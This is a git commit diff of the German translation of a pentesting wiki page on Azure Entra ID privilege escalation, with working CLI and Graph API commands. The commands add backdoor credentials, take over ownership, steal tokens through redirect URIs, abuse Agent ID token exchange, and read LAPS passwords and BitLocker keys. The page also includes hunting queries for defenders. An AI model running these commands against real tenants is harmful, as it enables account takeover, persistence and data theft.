gitea-mirror/hacktricks-cloud
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks-cloud.git synced 2026-07-28 22:51:09 -07:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala

Browse Source
This commit is contained in:
Translator
2026-06-16 13:23:11 +00:00
parent c7de622471
commit b6a03b1a45
1 changed files with 88 additions and 57 deletions
Download Patch File Download Diff File Expand all files Collapse all files
src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md
+88 -57
View File
@@ -3,15 +3,15 @@
{{#include ../../../../banners/hacktricks-training.md}}
> [!NOTE]
> Beachte, dass **nicht alle granulären Berechtigungen**, die Built-in-Rollen in Entra ID haben, **für die Verwendung in custom roles geeignet sind.**
> Beachte, dass **nicht alle granularen Berechtigungen**, die integrierte Rollen in Entra ID haben, **für die Verwendung in custom roles geeignet sind.**
## Roles
## Rollen
### Role: Privileged Role Administrator <a href="#c9d4cde0-7dcc-45d5-aa95-59d198ae84b2" id="c9d4cde0-7dcc-45d5-aa95-59d198ae84b2"></a>
### Rolle: Privileged Role Administrator <a href="#c9d4cde0-7dcc-45d5-aa95-59d198ae84b2" id="c9d4cde0-7dcc-45d5-aa95-59d198ae84b2"></a>
Diese Rolle enthält die notwendigen granulären Berechtigungen, um Rollen Principals zuzuweisen und Rollen mehr Berechtigungen zu geben. Beide Aktionen könnten missbraucht werden, um Privileges zu eskalieren.
Diese Rolle enthält die notwendigen granularen Berechtigungen, um Rollen an principals zuzuweisen und Rollen mehr Berechtigungen zu geben. Beide Aktionen könnten missbraucht werden, um privileges zu escalaten.
- Assign role to a user:
- Rolle einem Benutzer zuweisen:
```bash
# List enabled built-in roles
az rest --method GET \
@@ -48,26 +48,57 @@ az rest --method PATCH \
]
}'
```
## Applications
## Anwendungen
### `microsoft.directory/applications/credentials/update`
Dies ermöglicht es einem Angreifer, **credentials hinzuzufügen** (Passwörter oder Zertifikate) zu bestehenden applications. Wenn die application privilegierte permissions hat, kann sich der Angreifer als diese application authentifizieren und diese privileges erlangen.
Dies ermöglicht es einem Angreifer, **credentials hinzuzufügen** (Passwörter oder Zertifikate) zu bestehenden Anwendungen. Wenn die Anwendung privilegierte Berechtigungen hat, kann sich der Angreifer als diese Anwendung authentifizieren und diese Berechtigungen erlangen.
```bash
# Generate a new password without overwritting old ones
az ad app credential reset --id <appId> --append
# Generate a new certificate without overwritting old ones
az ad app credential reset --id <appId> --create-cert
```
### `microsoft.directory/applications.myOrganization/allProperties/update`
Diese Berechtigung gewährt das Update für **jede schreibbare Eigenschaft** einer beliebigen **Single-Tenant**-Application-Registration (`signInAudience = AzureADMyOrg`), einschließlich `passwordCredentials` und `keyCredentials`. Sie ist im Katalog als `IsPrivileged: true` markiert, ist aber **nicht** in einer eingebauten Rolle vorhanden — sie taucht fast ausschließlich in **custom roles** auf, die ein Admin erstellt, um „manage our internal apps“ zu delegieren, ohne zu merken, dass der Subtyp `.myOrganization` die Aktion genau auf den Satz von Apps beschränkt, die am ehesten privilegierte Microsoft Graph permissions enthalten.
- Enumerate Apps with privileged Microsoft Graph permissions consented:
```bash
# SPs with at least one Microsoft Graph app role assigned
GRAPH_SP_ID=$(az ad sp show --id 00000003-0000-0000-c000-000000000000 --query id -o tsv)
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$GRAPH_SP_ID/appRoleAssignedTo" \
--query "value[].{App:principalDisplayName, SP:principalId, RoleId:appRoleId}" \
-o table
# Resolve a RoleId to the human-readable permission name
az ad sp show --id 00000003-0000-0000-c000-000000000000 \
--query "appRoles[?id=='<RoleId>'].value" -o tsv
```
- Bestätige, dass das Ziel single-tenant ist (innerhalb des `.myOrganization` Subtyp-Scope):
```bash
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/applications(appId='<APP_ID>')" \
--query "{audience:signInAudience, name:displayName}"
# audience must be "AzureADMyOrg"
```
- Injiziere eine Anmeldeinformation in die Ziel-App — der einzige privilegierte Schritt in der Kette:
```bash
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/applications(appId='<APP_ID>')/addPassword" \
--headers "Content-Type=application/json" \
--body '{"passwordCredential":{"displayName":"backdoor"}}'
```
### `microsoft.directory/applications.myOrganization/credentials/update`
Dies erlaubt die gleichen Aktionen wie `applications/credentials/update`, jedoch auf Single-Directory-Applications beschränkt.
Dies erlaubt dieselben Aktionen wie `applications/credentials/update`, aber auf Single-Directory-Anwendungen beschränkt.
```bash
az ad app credential reset --id <appId> --append
```
### `microsoft.directory/applications/owners/update`
Indem sie sich selbst als Owner hinzufügen, kann ein Angreifer die Anwendung manipulieren, einschließlich Credentials und permissions.
Durch das Hinzufügen von sich selbst als Owner kann ein Angreifer die Anwendung manipulieren, einschließlich Credentials und Berechtigungen.
```bash
az ad app owner add --id <AppId> --owner-object-id <UserId>
az ad app credential reset --id <appId> --append
@@ -77,9 +108,9 @@ az ad app owner list --id <appId>
```
### `microsoft.directory/applications/allProperties/update`
Ein Angreifer kann einer Anwendung, die von Benutzern des Tenants verwendet wird, eine Redirect URI hinzufügen und ihnen dann Login-URLs mit der neuen Redirect-URL teilen, um ihre Tokens zu stehlen. Beachte, dass die Authentifizierung automatisch erfolgt, wenn der Benutzer bereits bei der Anwendung angemeldet war, ohne dass der Benutzer etwas akzeptieren muss.
Ein Angreifer kann eine redirect URI zu Anwendungen hinzufügen, die von Benutzern des tenant verwendet werden, und ihnen dann Login-URLs teilen, die die neue redirect URL verwenden, um ihre tokens zu stehlen. Beachte, dass, wenn der Benutzer bereits in der Anwendung eingeloggt war, die authentication automatisch erfolgt, ohne dass der Benutzer irgendetwas akzeptieren muss.
Beachte, dass es auch möglich ist, die von der Anwendung angeforderten Berechtigungen zu ändern, um mehr Berechtigungen zu erhalten, aber in diesem Fall muss der Benutzer die Aufforderung, die alle Berechtigungen anfragt, erneut akzeptieren.
Beachte, dass es auch möglich ist, die permissions zu ändern, die die Anwendung anfordert, um mehr permissions zu erhalten, aber in diesem Fall muss der Benutzer den Prompt, der nach allen permissions fragt, erneut akzeptieren.
```bash
# Get current redirect uris
az ad app show --id ea693289-78f3-40c6-b775-feabd8bef32f --query "web.redirectUris"
@@ -88,11 +119,11 @@ az ad app update --id <app-id> --web-redirect-uris "https://original.com/callbac
```
### Applications Privilege Escalation
**Wie in [diesem Beitrag](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/) erklärt** war es sehr häufig, dass Default-Applications gefunden wurden, denen **API permissions** vom Typ **`Application`** zugewiesen waren. Eine API Permission (wie in der Entra ID console genannt) vom Typ **`Application`** bedeutet, dass die application auf die API zugreifen und Aktionen ohne user context ausführen kann (ohne user login in die app) und ohne Entra ID roles zu benötigen, um dies zu erlauben. Daher ist es sehr häufig, **high privileged applications in jedem Entra ID tenant** zu finden.
**Wie in [diesem Post](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/) erklärt** war es sehr üblich, standardmäßige Applications zu finden, denen **API permissions** vom Typ **`Application`** zugewiesen sind. Eine API Permission (wie sie in der Entra ID console genannt wird) vom Typ **`Application`** bedeutet, dass die application auf die API zugreifen und Aktionen ohne user context ausführen kann (ohne dass sich ein user in die app einloggt) und ohne dass Entra ID roles erforderlich sind, um dies zu erlauben. Deshalb ist es sehr üblich, **hochprivilegierte applications in jedem Entra ID tenant** zu finden.
Wenn ein attacker dann irgendeine permission/role hat, die es erlaubt, die **credentials (secret o certificate) der application zu updaten**, kann der attacker ein neues credential erzeugen und es dann verwenden, um sich **als die application zu authenticaten**, wodurch er alle permissions erhält, die die application hat.
Wenn ein Angreifer dann irgendeine permission/role hat, die es erlaubt, die **credentials (secret o certificate) der application zu aktualisieren**, kann der Angreifer ein neues credential erzeugen und es dann verwenden, um sich **als die application zu authentifizieren**, wodurch er alle permissions erhält, die die application hat.
Beachte, dass der erwähnte Blog einige **API permissions** gängiger Microsoft Default-Applications teilt, jedoch hat Microsoft einige Zeit nach diesem report dieses issue behoben und es ist nun nicht mehr möglich, sich als Microsoft applications einzuloggen. Trotzdem ist es weiterhin möglich, **custom applications mit hohen privileges zu finden, die missbraucht werden könnten**.
Beachte, dass der erwähnte Blog einige **API permissions** gängiger Microsoft default applications teilt, aber einige Zeit nach diesem Bericht hat Microsoft dieses Problem behoben, und jetzt ist es nicht mehr möglich, sich als Microsoft applications anzumelden. Es ist jedoch immer noch möglich, **custom applications mit hohen privileges zu finden, die missbraucht werden könnten**.
How to enumerate the API permissions of an application:
```bash
@@ -125,7 +156,7 @@ az ad sp show --id <ResourceAppId> --query "appRoles[?id=='<id>'].value" -o tsv
az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv
```
<details>
<summary>Finde alle API-Berechtigungen der Anwendungen und markiere Microsoft-owned APIs</summary>
<summary>Alle API-Berechtigungen der Anwendungen finden und von Microsoft betriebene APIs markieren</summary>
```bash
#!/usr/bin/env bash
set -euo pipefail
@@ -241,34 +272,34 @@ done < <(jq -c '.[]' <<<"$apps_json")
### `microsoft.directory/servicePrincipals/credentials/update`
Dies erlaubt es einem Angreifer, Anmeldeinformationen zu bestehenden service principals hinzuzufügen. Wenn der service principal erhöhte Privilegien hat, kann der Angreifer diese Privilegien übernehmen.
Dies erlaubt es einem Angreifer, credentials zu vorhandenen service principals hinzuzufügen. Wenn der service principal erhöhte Privilegien hat, kann der Angreifer diese Privilegien übernehmen.
```bash
az ad sp credential reset --id <sp-id> --append
```
> [!CAUTION]
> Das neu generierte Passwort wird nicht in der Web-Konsole angezeigt, daher könnte dies ein stealthiger Weg sein, um persistence über einen service principal aufrechtzuerhalten.\
> Über die API können sie mit Folgendem gefunden werden: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json`
> Das neu erzeugte Passwort wird nicht in der web console angezeigt, daher kann dies ein stealth Weg sein, um Persistence über einen service principal aufrechtzuerhalten.\
> Über die API können sie mit folgendem Befehl gefunden werden: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json`
Wenn du den Fehler `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."` erhältst, liegt das daran, dass **es nicht möglich ist, die property passwordCredentials** des SP zu ändern, und du es zuerst unlocken musst. Dafür brauchst du eine permission (`microsoft.directory/applications/allProperties/update`), die es dir erlaubt, Folgendes auszuführen:
Wenn du den Fehler `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."` erhältst, liegt das daran, dass **es nicht möglich ist, die passwordCredentials-Property** des SP zu ändern, und du sie zuerst unlocken musst. Dafür brauchst du eine permission (`microsoft.directory/applications/allProperties/update`), die es dir erlaubt, Folgendes auszuführen:
```bash
az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/<sp-object-id> --body '{"servicePrincipalLockConfiguration": null}'
```
### Entra Agent ID blueprint credential abuse (`AgentIdentityBlueprint.AddRemoveCreds.All`)
**Agent identity blueprints** sind application objects, und jedes blueprint erstellt auch einen **agent identity blueprint principal** im tenant. **Agent identities** sind service-principal-abgeleitete Kinder dieses blueprint paths. Deshalb können Angreifer, wenn sie ein **password/certificate zum blueprint hinzufügen** können oder bereits eines seiner credentials gestohlen haben, sich später als der **blueprint principal** authentifizieren und tokens für child agent identities anfordern.
**Agent identity blueprints** sind application objects und jedes blueprint erstellt außerdem einen **agent identity blueprint principal** im tenant. **Agent identities** sind service-principal-derived children dieses blueprint path. Therefore, if an attacker can **add a password/certificate to the blueprint** or already stole one of its credentials, they can later authenticate as the **blueprint principal** and request tokens for child agent identities.
Dadurch wird eine schlechte Entra Agent ID role assignment zu beidem:
This turns a bad Entra Agent ID role assignment into both:
- **Persistence**: das neue `passwordCredential` bleibt auf dem blueprint, bis es entfernt wird
- **Privilege escalation**: ein low-trust/dev agent kann in ein anderes high-trust blueprint wechseln und dann als dessen child agents agieren
- **Persistence**: the new `passwordCredential` remains on the blueprint until removed
- **Privilege escalation**: a low-trust/dev agent can cross into a different high-trust blueprint and then act as its child agents
Typische gefährliche paths sind:
Typical dangerous paths are:
- Eine kompromittierte agent identity mit **`AgentIdentityBlueprint.AddRemoveCreds.All`**
- Ein kompromittierter owner/sponsor/admin, der das blueprint verwalten kann
- Diebstahl eines vorhandenen blueprint secret/certificate
- A compromised agent identity with **`AgentIdentityBlueprint.AddRemoveCreds.All`**
- A compromised owner/sponsor/admin able to manage the blueprint
- Theft of an existing blueprint secret/certificate
Füge ein neues secret zum target blueprint hinzu:
Add a new secret to the target blueprint:
```bash
az rest --method POST \
--url "https://graph.microsoft.com/beta/applications/<blueprint-object-id>/addPassword" \
@@ -280,7 +311,7 @@ Oder mit Microsoft Graph PowerShell:
$params = @{ passwordCredential = @{ displayName = 'ht-backdoor' } }
Add-MgBetaApplicationPassword -ApplicationId <blueprint-object-id> -BodyParameter $params
```
Wenn die neue Anmeldeinformation akzeptiert wird, authentifiziere dich als der **blueprint principal** und missbrauche den Agent ID token exchange. Die erste Anfrage verwendet die blueprint-Anmeldeinformation und setzt **`fmi_path`** auf die Ziel-Agent-Identität. Das zurückgegebene Token wird dann als **JWT bearer `client_assertion`** wiederverwendet, um ein Microsoft Graph token für diese Agent-Identität zu erhalten.
Wenn die neue credential akzeptiert wird, authentifizieren Sie sich als der **blueprint principal** und missbrauchen Sie den Agent ID token exchange. Die erste Anfrage verwendet die blueprint credential und setzt **`fmi_path`** auf die Ziel-Agent-Identity. Das zurückgegebene Token wird dann erneut als **JWT bearer `client_assertion`** verwendet, um ein Microsoft Graph token für diese Agent-Identity zu erhalten.
```bash
curl -X POST "https://login.microsoftonline.com/<tenant>/oauth2/v2.0/token" \
-H 'Content-Type: application/x-www-form-urlencoded' \
@@ -301,9 +332,9 @@ curl -X POST "https://login.microsoftonline.com/<tenant>/oauth2/v2.0/token" \
--data-urlencode 'scope=https://graph.microsoft.com/.default'
```
> [!CAUTION]
> Wenn ein **dev**-Blueprint oder sein Child Agent Anmeldedaten zu einem **prod**-Blueprint hinzufügen kann, überschreitet der Angreifer die erwartete Trust-Boundary zwischen Blueprint und Agent und erhält dauerhaften Zugriff auf die Ziel-Agent-Infrastruktur.
> Wenn ein **dev** Blueprint oder sein untergeordneter Agent Credentials zu einem **prod** Blueprint hinzufügen kann, überschreitet der Angreifer die erwartete Vertrauenstrennlinie zwischen Blueprint/Agent und erhält dauerhaften Zugriff auf die Ziel-Agent-Infrastruktur.
Schnelle Validierung / Scoping:
Quick validation / scoping:
```powershell
$sp = Get-MgBetaServicePrincipal -ServicePrincipalId <actor-service-principal-id>
$sp.AdditionalProperties['@odata.type']
@@ -316,27 +347,27 @@ $app.PasswordCredentials | ? { $_.KeyId -eq '<new-key-id>' }
Hunting notes:
- Suche nach **`Update application – Certificates and secrets management`** in [Az - Monitoring](../../az-services/az-monitoring.md)
- Korrelieren **`AuditLogs`**, **`MicrosoftGraphActivityLogs`**, und **`AADServicePrincipalSignInLogs`** über Zeit, service principal ID, user-agent, IP, und `SignInActivityId` / `UniqueTokenIdentifier`
- In `MicrosoftGraphActivityLogs`, prüfe `RequestUri` endend auf **`/applications/<id>/microsoft.graph.addPassword`** und ob `Roles` **`AgentIdentityBlueprint.AddRemoveCreds.All`** enthält
- In `AADServicePrincipalSignInLogs`, prüfe `ServicePrincipalCredentialKeyId`, `ClientCredentialType`, `Agent.agentType`, und ob der neue key später verwendet wurde
- Korrelier **`AuditLogs`**, **`MicrosoftGraphActivityLogs`** und **`AADServicePrincipalSignInLogs`** anhand von Zeit, Service Principal ID, User-Agent, IP und `SignInActivityId` / `UniqueTokenIdentifier`
- In `MicrosoftGraphActivityLogs` prüfe `RequestUri`, das auf **`/applications/<id>/microsoft.graph.addPassword`** endet, und ob `Roles` **`AgentIdentityBlueprint.AddRemoveCreds.All`** enthält
- In `AADServicePrincipalSignInLogs` prüfe `ServicePrincipalCredentialKeyId`, `ClientCredentialType`, `Agent.agentType` und ob der neue Key später verwendet wurde
Minimaler KQL, um zu sehen, ob das neu hinzugefügte secret authentifiziert wurde:
Minimales KQL, um zu sehen, ob das neu hinzugefügte Secret authentifiziert wurde:
```kusto
AADServicePrincipalSignInLogs
| where ServicePrincipalCredentialKeyId == "<new-key-id>"
| project CreatedDateTime, ServicePrincipalName, ServicePrincipalId, IPAddress, UserAgent, ResourceDisplayName
```
Dies bezieht sich auf generischen [application credential abuse](../../az-services/az-azuread.md#applications) und [service principal credential persistence](../../az-persistence/README.md#applications-and-service-principals), aber Entra Agent ID fügt eine zweite Stufe hinzu, bei der die blueprint credential in ein **anderes agent identity token** umgetauscht werden kann.
Dies ist verwandt mit generischem [application credential abuse](../../az-services/az-azuread.md#applications) und [service principal credential persistence](../../az-persistence/README.md#applications-and-service-principals), aber Entra Agent ID fügt eine zweite Stufe hinzu, bei der das blueprint credential in ein **anderes agent identity token** ausgetauscht werden kann.
### `microsoft.directory/servicePrincipals/synchronizationCredentials/manage`
Dies erlaubt einem Angreifer, Credentials zu bestehenden service principals hinzuzufügen. Wenn der service principal erhöhte Privilegien hat, kann der Angreifer diese Privilegien übernehmen.
Dies erlaubt es einem Angreifer, credentials zu bestehenden service principals hinzuzufügen. Wenn der service principal erhöhte Privilegien hat, kann der Angreifer diese Privilegien übernehmen.
```bash
az ad sp credential reset --id <sp-id> --append
```
### `microsoft.directory/servicePrincipals/owners/update`
Ähnlich wie bei applications erlaubt diese Berechtigung, einem service principal weitere owners hinzuzufügen. Der Besitz eines service principal ermöglicht die Kontrolle über seine credentials und permissions.
Ähnlich wie bei applications erlaubt diese permission, einem service principal weitere owners hinzuzufügen. Das Besitzen eines service principal ermöglicht die Kontrolle über seine credentials und permissions.
```bash
# Add new owner
spId="<spId>"
@@ -354,13 +385,13 @@ az ad sp credential reset --id <sp-id> --append
az ad sp owner list --id <spId>
```
> [!CAUTION]
> Nachdem ich einen neuen Owner hinzugefügt hatte, versuchte ich, ihn zu entfernen, aber die API antwortete, dass die DELETE-Methode nicht unterstützt wird, auch wenn genau diese Methode zum Löschen des Owners verwendet werden muss. Also **kannst du heutzutage keine Owners entfernen**.
> Nach dem Hinzufügen eines neuen owners habe ich versucht, ihn zu entfernen, aber die API antwortete, dass die DELETE-Methode nicht unterstützt wird, auch wenn das die Methode ist, die du zum Löschen des owners verwenden musst. Also **kannst du owners heutzutage nicht entfernen**.
### `microsoft.directory/servicePrincipals/disable` and `enable`
Diese Berechtigungen erlauben es, service principals zu deaktivieren und zu aktivieren. Ein Angreifer könnte diese Berechtigung nutzen, um einen service principal zu aktivieren, auf den er auf irgendeine Weise Zugriff erlangen könnte, um seine Privilegien zu eskalieren.
Diese permissions erlauben es, service principals zu deaktivieren und zu aktivieren. Ein attacker könnte diese permission nutzen, um einen service principal zu aktivieren, auf den er irgendwie Zugriff bekommen könnte, um privileges zu eskalieren.
Beachte, dass der Angreifer für diese Technik weitere Berechtigungen benötigt, um den aktivierten service principal zu übernehmen.
Beachte, dass der attacker für diese Technik mehr permissions benötigt, um den aktivierten service principal zu übernehmen.
```bash
# Disable
az ad sp update --id <ServicePrincipalId> --account-enabled false
@@ -370,7 +401,7 @@ az ad sp update --id <ServicePrincipalId> --account-enabled true
```
#### `microsoft.directory/servicePrincipals/getPasswordSingleSignOnCredentials` & `microsoft.directory/servicePrincipals/managePasswordSingleSignOnCredentials`
Diese Berechtigungen erlauben es, Anmeldeinformationen für Single Sign-On zu erstellen und abzurufen, was Zugriff auf Drittanbieteranwendungen ermöglichen könnte.
Diese Berechtigungen erlauben das Erstellen und Abrufen von Credentials für Single Sign-On, was Zugriff auf Drittanbieter-Anwendungen ermöglichen könnte.
```bash
# Generate SSO creds for a user or a group
spID="<spId>"
@@ -392,11 +423,11 @@ az rest --method POST \
```
---
## Groups
## Gruppen
### `microsoft.directory/groups/allProperties/update`
Diese Berechtigung ermöglicht das Hinzufügen von Benutzern zu privilegierten Gruppen und führt so zu einer Privilege Escalation.
Diese Berechtigung erlaubt, Benutzer zu privilegierten Gruppen hinzuzufügen, was zu Privilege Escalation führt.
```bash
az ad group member add --group <GroupName> --member-id <UserId>
```
@@ -404,7 +435,7 @@ az ad group member add --group <GroupName> --member-id <UserId>
### `microsoft.directory/groups/owners/update`
Diese Berechtigung erlaubt es, Besitzer von groups zu werden. Ein Besitzer einer group kann die Gruppenmitgliedschaft und Einstellungen kontrollieren und dadurch potenziell Privilegien auf die group eskalieren.
Diese Berechtigung erlaubt es, Eigentümer von groups zu werden. Ein Eigentümer einer group kann die Gruppenmitgliedschaft und settings kontrollieren und dadurch potenziell Privilegien auf die group eskalieren.
```bash
az ad group owner add --group <GroupName> --owner-object-id <UserId>
az ad group member add --group <GroupName> --member-id <UserId>
@@ -413,13 +444,13 @@ az ad group member add --group <GroupName> --member-id <UserId>
### `microsoft.directory/groups/members/update`
Diese Berechtigung ermöglicht das Hinzufügen von Mitgliedern zu einer group. Ein Angreifer könnte sich selbst oder bösartige Accounts zu privilegierten groups hinzufügen und dadurch erhöhten Zugriff erhalten.
Diese Berechtigung erlaubt es, Mitglieder zu einer Gruppe hinzuzufügen. Ein Angreifer könnte sich selbst oder bösartige Konten zu privilegierten Gruppen hinzufügen, um erhöhten Zugriff zu erhalten.
```bash
az ad group member add --group <GroupName> --member-id <UserId>
```
### `microsoft.directory/groups/dynamicMembershipRule/update`
Diese Berechtigung erlaubt es, die Mitgliedschaftsregel in einer dynamischen Gruppe zu aktualisieren. Ein Angreifer könnte dynamische Regeln so ändern, dass er selbst in privilegierte Gruppen aufgenommen wird, ohne explizit hinzugefügt zu werden.
Diese Berechtigung erlaubt es, die Mitgliedschaftsregel in einer dynamischen Gruppe zu aktualisieren. Ein Angreifer könnte dynamische Regeln ändern, um sich selbst ohne explizite Hinzufügung in privilegierte Gruppen aufzunehmen.
```bash
groupId="<group-id>"
az rest --method PATCH \
@@ -430,11 +461,11 @@ az rest --method PATCH \
"membershipRuleProcessingState": "On"
}'
```
**Note**: Diese Berechtigung schließt Entra ID role-assignable groups aus.
**Hinweis**: Diese Berechtigung schließt Entra ID role-assignable groups aus.
### Dynamic Groups Privesc
Es könnte möglich sein, dass Benutzer ihre Privilegien erhöhen, indem sie ihre eigenen Eigenschaften so ändern, dass sie als Mitglieder dynamischer Gruppen hinzugefügt werden. Für weitere Infos siehe:
Es könnte möglich sein, dass Benutzer ihre Privilegien eskalieren, indem sie ihre eigenen Eigenschaften ändern, um als Mitglieder von dynamic groups hinzugefügt zu werden. Für weitere Informationen siehe:
{{#ref}}
dynamic-groups.md
@@ -444,7 +475,7 @@ dynamic-groups.md
### `microsoft.directory/users/password/update`
Diese Berechtigung erlaubt das Zurücksetzen des Passworts von Nicht-Admin-Benutzern und ermöglicht es einem potenziellen attacker, Privilegien gegenüber anderen Benutzern zu eskalieren. Diese Berechtigung kann nicht custom roles zugewiesen werden.
Diese Berechtigung erlaubt es, das Passwort von Nicht-Admin-Benutzern zurückzusetzen, was es einem potenziellen Angreifer ermöglicht, seine Privilegien auf andere Benutzer zu eskalieren. Diese Berechtigung kann keinen custom roles zugewiesen werden.
```bash
# Update user password
userId="<user-id>"
@@ -464,7 +495,7 @@ az rest --method PATCH \
```
### `microsoft.directory/users/basic/update`
Diese Berechtigung erlaubt es, Eigenschaften des Users zu ändern. Es ist üblich, dynamische Groups zu finden, die Users anhand von Eigenschaftswerten hinzufügen; daher könnte diese Berechtigung einem User erlauben, den benötigten Eigenschaftswert zu setzen, um Mitglied einer bestimmten dynamischen Group zu werden und Privilege Escalation zu erreichen.
Dieses Privileg erlaubt es, Eigenschaften des Benutzers zu ändern. Es ist üblich, dynamische Gruppen zu finden, die Benutzer basierend auf Eigenschaftswerten hinzufügen. Daher könnte diese Berechtigung es einem Benutzer ermöglichen, den benötigten Eigenschaftswert so zu setzen, dass er Mitglied einer bestimmten dynamischen Gruppe wird und seine Privilegien zu eskalieren.
```bash
#e.g. change manager of a user
victimUser="<userID>"
@@ -480,9 +511,9 @@ az rest --method PATCH \
--headers "Content-Type=application/json" \
--body "{\"department\": \"security\"}"
```
## Bedingte Zugriffsrichtlinien & MFA-Bypass
## Conditional Access Policies & MFA bypass
Fehlkonfigurierte bedingte Zugriffsrichtlinien, die MFA erfordern, könnten umgangen werden, prüfe:
Fehlkonfigurierte Conditional-Access-Policies, die MFA verlangen, könnten umgangen werden, prüfe:
{{#ref}}
az-conditional-access-policies-mfa-bypass.md
@@ -492,7 +523,7 @@ az-conditional-access-policies-mfa-bypass.md
### `microsoft.directory/devices/registeredOwners/update`
Diese Berechtigung erlaubt Angreifern, sich selbst als Owner von Devices zuzuweisen, um Kontrolle oder Zugriff auf devicespezifische Einstellungen und Daten zu erhalten.
Diese Berechtigung erlaubt Angreifern, sich selbst als Owner von Devices zuzuweisen, um Kontrolle oder Zugriff auf gerätespezifische Einstellungen und Daten zu erlangen.
```bash
deviceId="<deviceId>"
userId="<userId>"
@@ -503,7 +534,7 @@ az rest --method POST \
```
### `microsoft.directory/devices/registeredUsers/update`
Diese Berechtigung erlaubt Angreifern, ihr Konto mit Geräten zu verknüpfen, um Zugriff zu erhalten oder Sicherheitsrichtlinien zu umgehen.
Diese Berechtigung erlaubt Angreifern, ihr Konto mit Geräten zu verknüpfen, um Zugriff zu erlangen oder Sicherheitsrichtlinien zu umgehen.
```bash
deviceId="<deviceId>"
userId="<userId>"
@@ -514,7 +545,7 @@ az rest --method POST \
```
### `microsoft.directory/deviceLocalCredentials/password/read`
Diese Berechtigung ermöglicht es Angreifern, die Eigenschaften der gesicherten lokalen Administrator-Account-Credentials für Microsoft Entra-joined devices zu lesen, einschließlich des Passworts
Diese Berechtigung ermöglicht es Angreifern, die Eigenschaften der gesicherten lokalen Administratorkonto-Anmeldedaten für Microsoft Entra-verbundene Geräte zu lesen, einschließlich des Passworts
```bash
# List deviceLocalCredentials
az rest --method GET \
@@ -529,7 +560,7 @@ az rest --method GET \
### `microsoft.directory/bitlockerKeys/key/read`
Diese Berechtigung erlaubt den Zugriff auf BitLocker keys, was einem Angreifer ermöglichen könnte, Laufwerke zu entschlüsseln und dadurch die Datenvertraulichkeit zu kompromittieren.
Diese Berechtigung ermöglicht den Zugriff auf BitLocker-Schlüssel, was es einem Angreifer ermöglichen könnte, Laufwerke zu entschlüsseln und die Vertraulichkeit der Daten zu kompromittieren.
```bash
# List recovery keys
az rest --method GET \